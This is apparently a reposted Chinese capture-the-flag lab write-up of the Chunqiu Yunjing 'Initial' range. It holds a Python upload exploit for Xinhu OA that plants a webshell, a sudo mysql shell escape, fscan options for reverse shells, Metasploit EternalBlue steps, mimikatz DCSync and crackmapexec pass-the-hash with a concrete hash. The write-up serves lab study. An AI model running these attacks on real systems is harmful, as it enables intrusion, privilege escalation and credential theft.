当前位置: 首页 > article >正文

春秋云镜——initial

初步认识内网渗透流程

thinkphp外网打点

打开环境后尝试登陆无果,用fscan扫一下看看

fscan.exe -h 39.99.224.87

发现是think PHP漏洞

补充:

fscan:一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。
支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写公钥、计划任务反弹shell、读取win网卡信息、web指纹识别、web漏洞扫描、netbios探测、域控识别等功能

安装

这里需要下载go环境、fscan和proxifier,资源放链接里了,具体怎么操作就不赘述了,接下来就是配置go环境

在cmd命令行中输入代码:go env -w GOSUMDB=off
go env -w GOPROXY=https://goproxy.cn,directgo build -ldflags="-s -w " -trimpath

生成fscan.exe可执行文件

然后在该文件夹下就可以使用fscan了

简单的使用

fscan.exe -h 192.168.1.1/24  (默认使用全部模块)
fscan.exe -h 192.168.1.1/16  (B段扫描)

fscan.exe -h 192.168.1.1/24 -np -no -nopoc(跳过存活检测 、不保存文件、跳过web poc扫描)
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写公钥)
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell)
fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令执行)
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口)
fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (加载指定文件的用户名、密码来进行爆破)
fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (指定扫描结果保存路径,默认保存在当前路径) 
fscan.exe -h 192.168.1.1/8  (A段的192.x.x.1和192.x.x.254,方便快速查看网段信息 )
fscan.exe -h 192.168.1.1/24 -m smb -pwd password (smb密码碰撞)
fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)
fscan.exe -hf ip.txt  (以文件导入)
fscan.exe -u http://baidu.com -proxy 8080 (扫描单个url,并设置http代理 http://127.0.0.1:8080)
fscan.exe -h 192.168.1.1/24 -nobr -nopoc (不进行爆破,不扫Web poc,以减少流量)
fscan.exe -h 192.168.1.1/24 -pa 3389 (在原基础上,加入3389->rdp扫描)
fscan.exe -h 192.168.1.1/24 -socks5 127.0.0.1:1080 (只支持简单tcp功能的代理,部分功能的库不支持设置代理)
fscan.exe -h 192.168.1.1/24 -m ms17010 -sc add (内置添加用户等功能,只适用于备选工具,更推荐其他ms17010的专项利用工具)
fscan.exe -h 192.168.1.1/24 -m smb2 -user admin -hash xxxxx (pth hash碰撞,xxxx:ntlmhash,如32ed87bdb5fdc5e9cba88547376818d4)
fscan.exe -h 192.168.1.1/24 -m wmiexec -user admin -pwd password -c xxxxx (wmiexec无回显命令执行)

用莲花的thinkphp综合利用工具,然后getshell

补充:

ThinkphpGUI工具

下载后一直打不开,后面发现匹配的是java8的环境,有Javafx sdk,但我的是java18,自Java11以后就需要另外重新下载了

然后需要从cmd打开或者powershell,都可以

java "-Dfile.encoding=UTF-8" --module-path "D:\Java\javafx-sdk-17.0.13\lib" --add-modules "javafx.controls,javafx.fxml,javafx.web" -jar "D:\ThinkPHP综合工具\ThinkphpGUI.jar"

这里具体位置换成自己保存的就可以了

这样就可以正常打开了

接着用蚁剑连接

进去后发现找不到flag

提权

拿到了shell,但是没有root权限,这里就需要提权了,一般涉及到比较多比较容易的提权方式就是sudo和suid

这里可以看到需要用root的身份无密码执行mysql命令

补充:

sudo -l:用于列出当前用户可以使用 sudo 命令执行的所有命令。有助于了解用户的权限和可以执行的操作

命令如下

sudo mysql -e '\! 要执行的命令'

然后可以直接读取到root目录下面的flag1

补充:

//-e:允许你在命令行中直接指定要执行的SQL语句。
//\!:是一个特殊的命令,用于在MySQL客户端中执行系统命令。

接着查看root目录

得到flag01:flag{60b53231-

内网渗透

外网打了之后就到内网了

通过ifconfig可以发现存在局域网,并且可以出网,那么就传一个fscan上去,扫一下这个局域网,这里要记得给执行权限

这里出了点问题,fscan一直都传不上去,改权限了也不行

//kali、ubuntu、云服务器
python3 -m http.server <PORT>
//靶机
curl http://<kali-ip>:<PORT>/fscan --output fscan
或curl -o http://<kali-ip>:<PORT>/fscan
或wget http://<kali-ip>:<PORT>/fscan

扫完后到目录中查看,提取出下列内网信息

172.22.1.2   DC域控
172.22.1.21  MS17-010永恒之蓝
172.22.1.18  信呼OA系统

信呼OA

利用suo5进行代理,这里先在其网站目录上传suo5.php,然后用控制端直接连接,然后就可以访问信呼oa,弱口令admin/admin123登录后台

补充:

suo5项目

suo5 是一款高性能的 HTTP 代理隧道工具,基于双向的 Chunked-Encoding 构建。相比传统的隧道工具如 Neo-reGeorg,suo5 的性能可以达到其数十倍。suo5 支持全双工与半双工模式,传输性能接近 FRP,并且支持在 Nginx 反向代理和负载均衡场景中使用。此外,suo5 还支持 Java 4 到 Java 21 的全版本以及各大主流中间件服务,同时也支持 IIS 和 .NET Framework 2.0 以上的所有版本。

同时需要安装go环境,上面提过了,就不多说了

还需要Webview2 框架,安装时发现已经有了,需要过程的可以自己搜索

具体配置就不说了,与上面fscan相同

将内网代理到vps

接下来代理到本地,用proxifier

Profile-Proxy-Servers-Add

Profile-Proxification Rules-Add

然后就可以访问了

这里用弱口令admin/admin123登录后台

登录后在网上可以找到相关的漏洞

之后我用的是脚本上传文件

import requests

session = requests.session()

url_pre = 'http://172.22.1.18/'
url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953'
url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913'
url3 = url_pre + '/task.php?m=qcloudCos|runt&a=run&fileid=11'

data1 = {
    'rempass': '0',
    'jmpass': 'false',
    'device': '1625884034525',
    'ltype': '0',
    'adminuser': 'YWRtaW4=::',
    'adminpass': 'YWRtaW4xMjM=',
    'yanzm': ''
}


r = session.post(url1, data=data1)
r = session.post(url2, files={'file': open('a.php', 'r+')})

filepath = str(r.json()['filepath'])
filepath = "/" + filepath.split('.uptemp')[0] + '.php'
id = r.json()['id']

url3 = url_pre + f'/task.php?m=qcloudCos|runt&a=run&fileid={id}'

r = session.get(url3)
r = session.get(url_pre + filepath + "?1=system('whoami');")
print(url_pre + filepath + "?1=system('whoami');")
print(r.text)

其中a.php是一句话木马

然后蚁剑连接就可以得到flag2为flag02: 2ce3-4813-87d4-

ms17010

前面整理了以后发现存在永恒之蓝,这里直接用msf来打

这里用正向去打

需要用到proxychains4

补充:

proxychains4

安装

sudo apt-get install proxychains4

修改配置文件

sudo vim /etc/proxychains.conf

这里根据实际情况而定

proxychains msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
show options
set rhosts 172.22.1.21
run 或者 exploit

这里打永恒之蓝横向移动

DCSync攻击

补充:
DCSync的原理是利用域控制器之间的数据同步复制
DCSync是AD域渗透中常用的凭据窃取手段,默认情况下,域内不同DC每隔15分钟会进行一次数据同步,当一个DC从另外一个DC同步数据时,发起请求的一方会通过目录复制协议(MS- DRSR)来对另外一台域控中的域用户密码进行复制,DCSync就是利用这个原理,“模拟”DC向真实DC发送数据同步请求,获取用户凭据数据,由于这种攻击利用了Windows RPC协议,并不需要登陆域控或者在域控上落地文件,避免触发EDR告警,因此DCSync时一种非常隐蔽的凭据窃取方式
DCSync 攻击前提:
想进行DCSync 攻击,必须获得以下任一用户的权限:
Administrators 组内的用户
Domain Admins 组内的用户
Enterprise Admins 组内的用户域控制器的计算机帐户
即:默认情况下域管理员组具有该权限
获得的MS17-010这台机器加载mimikatz,并且本机是system权限
加载mimikatz

meterpreter> load kiwi
meterpreter> kiwi_cmd privilege::debug(提升权限,这个需要system权限)
导出域内哈希

由于获得了域管理员账户,直接通过哈希传递就能拿下域控,crackmapexec来进行哈希传递PTH

proxychains crackmapexec smb 172.22.1.2 -u administrator -H10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"

得到的flag3为e8f88d0d43d6}

所以flag是flag{60b53231-2ce3-4813-87d4-e8f88d0d43d6}


http://www.kler.cn/a/503134.html

相关文章:

  • 云服务信息安全管理体系认证,守护云端安全
  • C++中引用参数与指针参数的区别与联系详解
  • 八股学习 Redis
  • 大数据技术Kafka详解 ⑤ | Kafka中的CAP机制
  • 【数据可视化-12】数据分析岗位招聘分析
  • 【机器学习案列】学生抑郁可视化及预测分析
  • 二 RK3568 固件中打开 ADB 调试
  • qt 汉字输出 中文输出 显示乱码 qDebug() 乱码 解决
  • Spring Boot项目中增加MQTT对接
  • DELTA并联机械手视觉方案荣获2024年度机器人应用典型案例奖
  • 在 Linux 下Ubuntu创建同权限用户
  • JavaScript系列(24)--内存管理机制详解
  • 2025年第三届“华数杯”国际赛A题解题思路与代码(Python版)
  • 计算机网络(四)——网络层
  • 利用 Tree Shaking 提升 React.js 性能
  • 江科大STM32入门——读写备份寄存器(BKP)实时时钟(RTC)笔记整理
  • 【RAG检索增强生成】MaxKB:构建企业级知识库问答系统(Ollama+Qwen2)
  • Vue.js组件开发-实现图片裁剪
  • Scala语言的软件开发工具
  • Redis动态热点数据缓存策略设计
  • nvm安装详细教程(安装nvm、node、npm、cnpm、yarn及环境变量配置)
  • 【JAVA 基础 第(18)课】HashSet 使用方法详解
  • 重回C语言之老兵重装上阵(一)vscode编译.C文件
  • 2024年华为OD机试真题-判断一组不等式是否满足约束并输出最大差-Python-OD统一考试(E卷)
  • PowerBuilder中调用Excel OLE对象的方法
  • 【Ubuntu与Linux操作系统:十、C/C++编程】